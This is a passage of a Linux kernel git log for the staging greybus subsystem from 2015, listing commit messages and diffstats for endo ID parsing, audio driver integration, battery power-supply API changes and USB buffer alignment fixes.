ID Endo is described by a 16 bit value. Which represents the properties of modules, interface and ribs on front and back of endo. This 16 bit value can be used to find all possible pairs of modules and interfaces and creating modules based on that. This patch provides helpers to parse 16 bit Endo ID. (Based on original code written by Alex Elder.) Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 294 +++++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/endo.h | 23 ++++ 2 files changed, 317 insertions(+) commit 61c0926eec4153e51f047fbf91b897abeca4cccb Author: Greg Kroah-Hartman Date: Fri May 8 22:40:47 2015 +0200 greybus: gb-audio: fix build breakage on 4.1-rc1 In commit 1efb53a220b7 ("ASoC: simple-card: Remove support for setting differing DAI formats"), the .fmt field was removed from struct asoc_simple_dai. Fix this build breakage by not trying to set it. Signed-off-by: Greg Kroah-Hartman Acked-by: John Stultz drivers/staging/greybus/audio.c | 2 ++ 1 file changed, 2 insertions(+) commit 7f3f356e455dd4438fdad2d45330f0d27bd087b6 Author: Greg Kroah-Hartman Date: Fri May 8 22:33:36 2015 +0200 greybus: gb-audio: fix build warning sizeof wants %zu when on a 64bit build, so change the dev_err() call to remove a build warning in the audio.c file. Signed-off-by: Greg Kroah-Hartman Acked-by: John Stultz drivers/staging/greybus/audio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 68fff9604b8bce5cd023585ff41710948e61076e Author: Bryan O'Donoghue Date: Thu May 7 17:00:50 2015 -0700 greybus: Support building greybus on host PC Introduce INSTALL_MOD_PATH to allow for building and installing of the greybus modules from a different location. This lets you build the greybus modules on a PC and then install the modules to an SD card in the appropriate location relative to the SD such as /media/sdcard/lib/modules/version and subsequent running of depmod in the same location. If INSTALL_MOD_PATH isn't specified the default behaviour of installing and depmoding to /lib/modules/version is maintained. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit a4749bbeee31204a48fc3bf10c80bb88cf52bab5 Author: John Stultz Date: Fri May 8 12:57:36 2015 -0700 greybus: gb-audio: Add integrated greybus audio driver So here's the current greybus audio driver, which I wanted to send out for more serious review and consideration for merging. I've tried to integrate much of the feedback from the last round and most of the hotplug issues that I've found have been resolved. I've tested this via gbsim, and the Android ARA HAL layer seems to work with it. Mark has also successfully played audio with this driver, adding a few hacks to get the codec's i2c connection to probe. Current issues: * Hotplug problem - When gbsim is killed, or the module removed, the greybus driver gets stuck since the android mediaserver process is holding the audio device open. Killing the mediaserver allows things to clean up and allows greybus to accept new gbsim connections. I have a workaround patch to the soc-core.c logic which converts the snd_card_free() call to snd_card_free_when_closed() which allows the greybus connection cleanup to finish. Remaining todos: * Probably need to break apart the mgmt_setup function to integrate better with the constraint logic. I took a really basic stab at this, but more is probably needed. * Figure out how to properly find and tie in the codec's I2C bus-id to the driver. This code requires that the kernel support the following config options, which I've enabled in a separate kernel patch: CONFIG_SND_SIMPLE_CARD CONFIG_SND_SOC_SPDIF CONFIG_SND_SOC_RT5645 I really can't calim to be the sole author of this, since many many fixes and tweaks that have been folded in have come from Mark Greer. His analsysis and debugging is really what has made this dummy-framework driver evolve into an actual audio driver. So much credit and thanks to Mark! Signed-off-by: John Stultz Signed-off-by: Mark A. Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 8 +- drivers/staging/greybus/audio-dai.c | 103 ++++++++ drivers/staging/greybus/audio-gb-cmds.c | 207 +++++++++++++++ drivers/staging/greybus/audio-pcm.c | 262 +++++++++++++++++++ drivers/staging/greybus/audio.c | 432 ++++++++++++++++++++++++++++++++ drivers/staging/greybus/audio.h | 100 ++++++++ drivers/staging/greybus/gpb.c | 8 + drivers/staging/greybus/gpbridge.h | 2 +- drivers/staging/greybus/protocol.h | 3 + 9 files changed, 1122 insertions(+), 3 deletions(-) commit 6d653370c0a67ff9b9b0d8249182d537859b528c Author: Alex Elder Date: Thu May 7 13:03:52 2015 -0500 greybus: eliminate extra response flag definitions All protocols use the same value to distinguish between request and response message types. This is a requirement. Use GB_MESSAGE_TYPE_RESPONSE rather than GB_OPERATION_TYPE_RESPONSE for the name of the flag used to distiguish between request and response messages. Get rid of the redundant response flag definitions that are associated with specific protocols. Describe the symbolic values as "operation types" rather than "message types" where they are defined. The message type for a request is the same as the operation type; the message type for a response is the operation type OR'd with GB_MESSAGE_TYPE_RESPONSE. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 5 +---- drivers/staging/greybus/hid.c | 3 +-- drivers/staging/greybus/operation.c | 8 ++++---- drivers/staging/greybus/operation.h | 2 +- drivers/staging/greybus/spi.c | 3 +-- drivers/staging/greybus/uart.c | 3 +-- drivers/staging/greybus/vibrator.c | 3 +-- 7 files changed, 10 insertions(+), 17 deletions(-) commit 5c58640d8d66504c43c062e6e7d4ed0ade6bde9e Author: Alex Elder Date: Thu May 7 13:00:21 2015 -0500 greybus: battery: use feature tag rather than kernel version Conditionally define a new symbol DRIVER_OWNS_PSY_STRUCT, which is set in "kernel_ver.h" based on on the kernel version. Use it to distinguish code used for kernels that differ in whether a power supply structure is owned by the driver, or by the power supply core. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 7 +++---- drivers/staging/greybus/kernel_ver.h | 7 ++++++- 2 files changed, 9 insertions(+), 5 deletions(-) commit 9ade6d312287fd1729a02e349f5f23483ffc4e1c Author: Alex Elder Date: Thu May 7 13:00:20 2015 -0500 greybus: battery: free struct on error in caller When a battery connection is initialized, a gb_battery structure for it is allocated in gb_battery_connection_init(). Currently that function ends by calling init_and_register(); in the event an error occurs, init_and_register() is responsible for freeing the allocated gb_battery structure. Make the code a bit better balanced by having the function that allocates the structure be responsible for freeing it in case of error. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 28 +++++++++++----------------- 1 file changed, 11 insertions(+), 17 deletions(-) commit c13c8bf0cccd6a9daf8ea02919aecaa45c842fc7 Author: Rob Herring Date: Tue May 5 11:04:22 2015 -0500 greybus: es2: fix driver name collision with es1 Both ES1 and ES2 drivers cannot be loaded due to a driver name conflict. Give ES2 driver the correct name. Signed-off-by: Rob Herring Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e80d09af1e8a23c1d9c9da99540855cde21e00a1 Author: Greg Kroah-Hartman Date: Fri May 1 21:06:12 2015 +0200 greybus: protocol.h: fix up long lines in define_get_version() No need to go past 80 characters for the define_get_version macro, so fix up the indentation to not do so. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/protocol.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f487c802cba56b5f38c5cb5d2eb32b9562f50dde Author: Greg Kroah-Hartman Date: Fri May 1 21:05:50 2015 +0200 greybus: protocol.h: macros should not have a trailing ';' Remove the trailing ';' character from the gb_protocol_driver() macro as it's not needed and is bad coding style. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/protocol.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 63ca78b9abe4d216aec08724c9677b86481fa271 Author: Greg Kroah-Hartman Date: Fri May 1 21:05:29 2015 +0200 greybus: kernel_ver.h: add a blank line after a variable definition checkpatch reminds us that a blank line should go after a variable definition, so fix it up here. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/kernel_ver.h | 1 + 1 file changed, 1 insertion(+) commit 3906a59c96ac770d54728d2cbd6564cda3b2cdd9 Author: Greg Kroah-Hartman Date: Fri May 1 21:05:03 2015 +0200 greybus: kernel_ver.h: add a ' ' character to KERNEL_VERSION() You should always put a space after a ',', so do it for the KERNEL_VERSION() macro as well. This makes checkpatch.pl happy also. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/kernel_ver.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 99a4bd5902224065debff524624800bd9806419e Author: Greg Kroah-Hartman Date: Fri May 1 21:04:47 2015 +0200 greybus: kernel_ver.h: fix leading space coding style issues When cutting and pasting some of the ATTR macros into kernel_ver.h, I dropped the tabs. Fix this up and make checkpatch.pl happy. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/kernel_ver.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a549be518623e0948213bdacd338183bba033229 Author: Greg Kroah-Hartman Date: Fri May 1 20:41:00 2015 +0200 greybus: battery: update for 4.1 power supply api changes The 4.1-rc1 kernel changed the power supply apis such that the structures are now owned by the power supply core, and not the individual drivers. This broke the greybus battery driver, so update it to support both the old and the new apis. The API changes were such that I can't "hide" them in kernel_ver.h, but rather the driver itself needs to have ugly #ifdefs in it. I tried to keep it to a minimum, making a sub-function for initializing the power supply device that is implemented differently for different kernel versions. When this is submitted upstream, or if we ever move our AP development to 4.1 or greater, the support for older kernels can be removed. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/battery.c | 83 ++++++++++++++++++++++++++++++--------- 1 file changed, 65 insertions(+), 18 deletions(-) commit f03eec87720d3427443b64f2d1b237b85d5c68b4 Author: Viresh Kumar Date: Tue Apr 28 19:51:41 2015 +0530 greybus: Move id-field before bundle-field in CPort Descriptor. Note that this also makes sure the id-field is naturally aligned in case we ever were to remove the __packed attribute. Reviewed-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 499ee955a132c772d14b839bcec3adef2eebcb6b Author: Viresh Kumar Date: Tue Apr 28 19:51:40 2015 +0530 greybus: Explicitly add pad-bytes to manifest descriptors Explicitly add pad-bytes to manifest descriptors to match their layout in greybus specification. Reviewed-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 3 +++ 1 file changed, 3 insertions(+) commit b022515ee64b38baed81b83a47783cbb52b9c5f9 Author: Viresh Kumar Date: Tue Apr 28 19:51:39 2015 +0530 greybus: Remove class descriptor We carry this information as part of bundle descriptor now and this can be removed. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 10 ---------- drivers/staging/greybus/manifest.c | 5 ----- 2 files changed, 15 deletions(-) commit 20f087ec5c8c746020c91d296339eebe4d8ed4dd Author: Viresh Kumar Date: Tue Apr 28 19:51:38 2015 +0530 greybus: manifest: drop interface-version field It is not required anymore. Drop it. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 1 - 1 file changed, 1 deletion(-) commit 8a5286ed2a0a7d394817a63ae37ae54608a4d3b4 Author: Viresh Kumar Date: Tue Apr 28 19:51:37 2015 +0530 greybus: manifest: Remove vendor, product and unique-id from interface descriptor These should come from control protocol instead. For now, initialize this statically with a FIXME to not forget it later. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 3 --- drivers/staging/greybus/manifest.c | 8 +++++--- 2 files changed, 5 insertions(+), 6 deletions(-) commit 22fd2a8ade59bb97f0a64282ba5b3903ba3e9e89 Author: Alex Elder Date: Fri Apr 17 14:41:47 2015 -0500 greybus: bundle: use kstrdup() for state file The kernfs code guarantees we'll get a NUL-terminated buffer. Use kstrdup() rather than kzalloc() + memcpy() in state_store() making it slightly clearer what we're doing. This has the added benefit of guaranteeing that the stored string has no NUL character inside it. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 55b930cd17a7cd66a1fb2a587660a344ea5a9ee2 Author: Viresh Kumar Date: Wed Apr 29 11:02:08 2015 +0530 greybus: manifest: Warn if descriptor size > expected size A descriptor passed to AP can be bigger than what AP expects, if manifest's minor version is higher with same major number as the AP. As it can have some extra data in descriptor. But, if AP and manifest versions are identical, or if the AP's minor version is greater than the manifest version, we should at least warn (if not fail). Doing this would require some changes to record the manifest version somewhere reachable by identify_descriptor(). For now, just warn if descriptor is bigger than expected. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 7 +++++++ 1 file changed, 7 insertions(+) commit fa2fbf16f6aaaabee9394edc57dc803b59de6699 Author: Viresh Kumar Date: Tue Apr 28 19:51:35 2015 +0530 greybus: manifest: Account for padding in string descriptor String descriptors are padded towards the end to align them to 4 byte boundaries. Take that into account while calculating expected size. Reviewed-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 3 +++ 1 file changed, 3 insertions(+) commit af6e8b42334c92b2dcbb93e79b0e7ba4f1d51bb4 Author: Viresh Kumar Date: Tue Apr 28 19:51:34 2015 +0530 greybus: Explicitly mark structures as packed These structures are already marked as __packed, as these are enclosed within: #pragma pack(push, 1) #pragma pack(pop) Lets mark them __packed explicitly. Reviewed-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 22 +++++++++------------- drivers/staging/greybus/svc_msg.h | 30 +++++++++++++----------------- 2 files changed, 22 insertions(+), 30 deletions(-) commit 8f8b2297c0a17236ca4b5413e1f737536a8154a1 Author: Viresh Kumar Date: Tue Apr 28 19:40:27 2015 +0530 greybus: endo: Rename endo's 'type' as 'id' There can be three Endo types: mini, medium and large. And that's what Endo 'type' should refer to. But we have named the 16 bit number that uniquely represents a valid endo, as its type. 'id' seems to be a more suitable name to that instead of 'type'. Lets rename it. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 18 +++++++++--------- drivers/staging/greybus/endo.h | 2 +- 2 files changed, 10 insertions(+), 10 deletions(-) commit 58d674650b96d7ae81cda68b0cbf40fb3f9a9726 Author: Viresh Kumar Date: Tue Apr 28 19:40:26 2015 +0530 greybus: endo: Use a real endo id 0x0555 isn't a valid endo id, use a real one. 0x4755 should be the Endo id for the (medium) Spiral 2 prototype. Lets use that. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 6cf42a447dece6d4b75b59dc531ddddf770ee324 Author: Greg Kroah-Hartman Date: Mon Apr 13 19:51:33 2015 +0200 greybus: MODULE_LICENSE cleanup These are all GPLv2-only kernel modules, so properly set the correct MODULE_LICENSE string to make static checkers happy. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/es1.c | 2 +- drivers/staging/greybus/es2.c | 2 +- drivers/staging/greybus/gpb.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 75052a5504705aded68e544967fdd1d296470bcc Author: Greg Kroah-Hartman Date: Mon Apr 13 19:48:37 2015 +0200 greybus: bundle: add state sysfs file A bundle has a state file, that is managed by the endo userspace process. This file can be written to and any process that is polling on the file will be woken up and can read the new value. It's a "cheap" IPC for programs that are not allowed to do anything other than read/write to kernel sysfs files. Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 13 ++++++++ drivers/staging/greybus/bundle.c | 37 ++++++++++++++++++++-- drivers/staging/greybus/bundle.h | 1 + 3 files changed, 49 insertions(+), 2 deletions(-) commit 1ffc12be5549085faac2d6116f666cb9cbcb2930 Author: Johan Hovold Date: Thu Apr 16 09:53:59 2015 +0200 greybus: loopback: fix 64-bit divisions The code uses 64-bit divisions, which should be avoided, and also prevents the module from loading on 32-bit systems: gb_loopback: Unknown symbol __aeabi_uldivmod (err 0) Fix by using the kernel's 64-bit by 32-bit division implementation do_div. Compile tested only. I did not look very closely at the code itself. Perhaps this could be worked around in some other way, but this silences the linker warning and allows the module to be loaded. Reviewed-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) commit dcd1dadd7ee32b3fd135904fac85c556bac5cbc5 Author: Greg Kroah-Hartman Date: Fri Apr 10 11:20:35 2015 +0200 greybus: gpbridge.h: remove BIT() define It's up to other files to define this if it's not present, not this file. Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 3 --- 1 file changed, 3 deletions(-) commit 67c920b892fc16141734bdf03f9d16974d8a076f Author: Greg Kroah-Hartman Date: Fri Apr 10 11:18:49 2015 +0200 greybus: gpbridge.h: whitespace cleanups Replace #define with #define. Also move the #ifdef block to below the initial comment block, like other .h files are. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 80 +++++++++++++++++++------------------- 1 file changed, 40 insertions(+), 40 deletions(-) commit 453bbea807345db3faab8f4a432b4b1b2b245a27 Author: John Stultz Date: Thu Apr 9 16:01:31 2015 -0700 greybus: Move briged phy structure definitions into gpbridge.h In order to facilitate re-use of the gpio, i2c, pwm and i2s structures, split them out of independent files and add them into a shared gpbridge.h This will be a prereq to sharing these headers w/ gbsim. Cc: Alex Elder Cc: Greg Kroah-Hartman CC: Johan Hovold Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpbridge.h | 412 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/gpio.c | 105 +--------- drivers/staging/greybus/i2c.c | 57 +---- drivers/staging/greybus/i2s.h | 145 ------------- drivers/staging/greybus/pwm.c | 48 +---- 5 files changed, 416 insertions(+), 351 deletions(-) commit b0235b2263406728a0b6ee8b13be22f07507812d Author: Greg Kroah-Hartman Date: Tue Apr 7 20:28:13 2015 +0200 greybus: Documentation/sysfs-bus-greybus: document module sysfs files This documents the module slot sysfs files "epm", "power_control", and "present". Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder .../greybus/Documentation/sysfs-bus-greybus | 30 ++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 7baa184dbd407b4a1b619c6f5f78074f0bb19ae9 Author: Greg Kroah-Hartman Date: Tue Apr 7 20:27:53 2015 +0200 greybus: Documentation/sysfs-bus-greybus: document the endo and SVC This documents the endo device, and the SVC specific files that are present in the sysfs device tree. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder .../greybus/Documentation/sysfs-bus-greybus | 23 ++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit f0b678709a7d2c4eefa834db70580a226d212f8a Author: Greg Kroah-Hartman Date: Tue Apr 7 20:27:36 2015 +0200 greybus: Documentation/sysfs-bus-greybus: update kernel version and date The kernel is now on the 4.XX numbering scheme, and it's going to be a while before we merge this code, so pick a date sometime in the future to be safe. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder .../greybus/Documentation/sysfs-bus-greybus | 32 +++++++++++----------- 1 file changed, 16 insertions(+), 16 deletions(-) commit a4d9150cbaafd0d58eff54ea928d155ae582aa9c Author: Greg Kroah-Hartman Date: Tue Apr 7 20:27:15 2015 +0200 greybus: endo: hook up endos into the device tree This hooks up the endo, and modules, into the device tree. All modules for a specific endo are created when the host device is initialized. When an interface is registered, the correct module for it is found and that module is used for the sysfs tree. When the interface is removed, the reference on the module is dropped. When the host device goes away, the whole endo and modules are removed at once. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/core.c | 14 ++++++++-- drivers/staging/greybus/endo.c | 16 +++--------- drivers/staging/greybus/greybus.h | 2 ++ drivers/staging/greybus/interface.c | 4 +-- drivers/staging/greybus/module.c | 52 ++++++++++++++++++++----------------- drivers/staging/greybus/module.h | 7 +++-- 6 files changed, 50 insertions(+), 45 deletions(-) commit 0f035acdedcb4f016c2b7cc23758d9191713d951 Author: Greg Kroah-Hartman Date: Tue Apr 7 20:26:53 2015 +0200 greybus: endo: add endo structures and logic This adds endo.c and endo.h and provides functions to create an endo and the initial 0x0555 set of modules. But, it doesn't hook this logic up into the running code yet, that comes next. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/core.c | 8 ++ drivers/staging/greybus/endo.c | 164 ++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/endo.h | 32 ++++++++ drivers/staging/greybus/greybus.h | 7 ++ 5 files changed, 212 insertions(+) commit 764e824e2fa5cca0d7c671ae58e65cd06aed0fce Author: Greg Kroah-Hartman Date: Tue Apr 7 20:26:30 2015 +0200 greybus: module.c: add attributes This adds the attributes power_control and present to a module. It also removes the unneeded module_id attribute, as that comes from the name of the module itself. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/module.c | 57 +++++++++++++++++++++++++++++----------- 1 file changed, 41 insertions(+), 16 deletions(-) commit 24ef4853986e740b90c4647b8ede70ed690185e2 Author: Johan Hovold Date: Tue Apr 7 11:27:21 2015 +0200 greybus: drop host-driver buffer headroom Drop the host-driver buffer headroom that was used to transfer the cport id on ES1 and ES2. Rather than transferring additional bytes on the wire and having to deal with buffer-alignment issues (e.g. requiring the headroom to be a multiple of 8 bytes) simply drop the headroom functionality. Host drivers are expected set up their transfer descriptors separately from the data buffers and any intermediate drivers (e.g. for Greybus over USB) can (ab)use the operation message pad bytes for now. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 20 +------------------- drivers/staging/greybus/es2.c | 20 +------------------- drivers/staging/greybus/greybus.h | 9 --------- drivers/staging/greybus/operation.c | 7 ++----- 4 files changed, 4 insertions(+), 52 deletions(-) commit 491e60d63fde0a9ff09490a070d7bc22ff82c9ce Author: Johan Hovold Date: Tue Apr 7 11:27:20 2015 +0200 greybus: es2: sync up with recent es1 changes Fix transfer-buffer alignment of es2 as well. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 59 ++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 34 deletions(-) commit a9cf7da195d99ceac46d46bf5ac31586afb66af7 Author: Johan Hovold Date: Tue Apr 7 11:27:19 2015 +0200 greybus: es1: fix transfer-buffer alignment Fix transfer-buffer alignment of outgoing transfers which are currently byte aligned. Some USB host drivers cannot handle byte-aligned buffers and will allocate temporary buffers, which the data is copied to or from on every transfer. This affects for example musb (e.g. Beaglebone Black) and ehci-tegra (e.g. Jetson). Instead of transferring pad bytes on the wire, let's (ab)use the pad bytes of the operation message header to transfer the cport id. This gives us properly aligned buffers and more efficient transfers in both directions. By using both pad bytes, we can also remove the arbitrary limitation of 256 cports. Note that the protocol between the host driver and the UniPro bridge is not necessarily Greybus. As long as the firmware clears the pad bytes before forwarding the data, and the host driver does the same before passing received data up the stack, this should be considered "legal" use. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 59 ++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 34 deletions(-) commit da9dd11943d1409c9992fe058c67e1017426a1d9 Author: Johan Hovold Date: Tue Apr 7 11:27:18 2015 +0200 greybus: operation: add explicit padding to message header Add explicit pad bytes to the message header. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1e5613b4a673f0670b64fe24f1c987604403e8c1 Author: Johan Hovold Date: Tue Apr 7 11:27:17 2015 +0200 greybus: operation: fix potential message corruption Make sure to allocate the message transfer-buffer separately from the containing message structure to avoid data corruption on systems without DMA-coherent caches. The message structure contains state that is updated while the buffer may be used for DMA, something which could lead to data corruption due to cache-line sharing on some architectures. Use the (renamed) message cache for the message structure itself and allocate the buffer separately. If the additional allocation is a concern, the message structures could eventually be allocated as part of the operation structure. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 72 ++++++++++++++++--------------------- drivers/staging/greybus/operation.h | 2 +- 2 files changed, 31 insertions(+), 43 deletions(-) commit 7cf7bca9ec5659efa9520ffc5a3ff4ef59383560 Author: Johan Hovold Date: Tue Apr 7 11:27:16 2015 +0200 greybus: pass messages to host drivers Pass structured greybus messages rather than buffers to the host drivers. This will allow us to separate the transfer buffers from the message structures. Rename the related functions to reflect the new interface. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/es1.c | 48 ++++++++++++++++--------------------- drivers/staging/greybus/es2.c | 48 ++++++++++++++++--------------------- drivers/staging/greybus/greybus.h | 6 ++--- drivers/staging/greybus/operation.c | 42 +++++++------------------------- drivers/staging/greybus/operation.h | 4 ++-- 6 files changed, 56 insertions(+), 94 deletions(-) commit ac67acd3040affb7a7baa0cc626a3757758ed8a7 Author: Johan Hovold Date: Tue Apr 7 11:27:15 2015 +0200 greybus: operation: move message-header definition to header file Move operation message-header to operation.h so that it can be used by host drivers. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 29 ----------------------------- drivers/staging/greybus/operation.h | 29 +++++++++++++++++++++++++++++ 2 files changed, 29 insertions(+), 29 deletions(-) commit cbba76f5cdbc14d2ae415c6f949c7d725b06a27b Author: Johan Hovold Date: Tue Apr 7 11:27:14 2015 +0200 greybus: remove obsolete buffer-alignment requirement Remove unused and unnecessary buffer-alignment define that host driver were supposed to use. We can handle unaligned incoming buffers just fine by accessing the operation-message header via a copy in the receive path, rather than requiring host drivers to make sure the alignment is correct. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 3 --- 1 file changed, 3 deletions(-) commit 564c72b1c6f753f562e42c2a30a5dc50c194be0f Author: Johan Hovold Date: Tue Apr 7 11:27:13 2015 +0200 greybus: operation: fix unaligned memory accesses in receive path The buffer received from our current host driver is 1-byte aligned and will therefore cause unaligned memory accesses if simply cast to an operation-message header. Fix this by making a properly aligned copy of the header in gb_connection_recv_response before accessing its fields. Note that this does not affect protocol drivers as the whole buffer is copied when creating the corresponding request or response before being forwarded. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit c15ccabe8105e2ef5e34e610c068e6f50ff08598 Author: Johan Hovold Date: Tue Apr 7 11:27:12 2015 +0200 greybus: es2: sync up with recent es1 changes Fix two bugs in es2 and do some minor clean up. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) commit bfd9a94d1aa2a8592749342d8024543ae3ff9e57 Author: Johan Hovold Date: Tue Apr 7 11:27:11 2015 +0200 greybus: es1: fix buffer-size limit The maximum buffer size does not include the headroom, so subtract the headroom size from the actual buffer size. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 79940cf8759558d55b597e27353f6521516aa7ac Author: Johan Hovold Date: Tue Apr 7 11:27:10 2015 +0200 greybus: es1: fix DMA-buffer on stack A stack-allocated buffer is not generally DMA-able and must not be used for USB control transfers. Note that the memset and extra buffer byte were redundant as no more than the bytes actually transferred was ever added to the fifo. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) commit b7744b7f97d1c86d2a480fdc53a22a042ac4dda9 Author: Johan Hovold Date: Tue Apr 7 11:27:09 2015 +0200 greybus: es1: drop unnecessary casts Drop unnecessary explicit casts. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 88e6d37c448062b86211e89d23348d952fd166c0 Author: Viresh Kumar Date: Mon Apr 6 15:49:36 2015 +0530 greybus: bundle: s/class_type/class Alex suggested to name it class instead of class type. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 20 ++++++++++---------- drivers/staging/greybus/bundle.h | 4 ++-- drivers/staging/greybus/greybus_id.h | 4 ++-- drivers/staging/greybus/greybus_manifest.h | 6 +++--- drivers/staging/greybus/manifest.c | 2 +- 5 files changed, 18 insertions(+), 18 deletions(-) commit 9f5f30e712430912f4cff65e97dd36f9b3bdbe4e Author: Viresh Kumar Date: Wed Apr 1 20:32:04 2015 +0530 greybus: driver corresponds to a bundle, not interface A Greybus driver will bind to a bundle, not an interface. Lets follow this rule in code. Signed-off-by: Viresh Kumar Signed-off-by: Greg 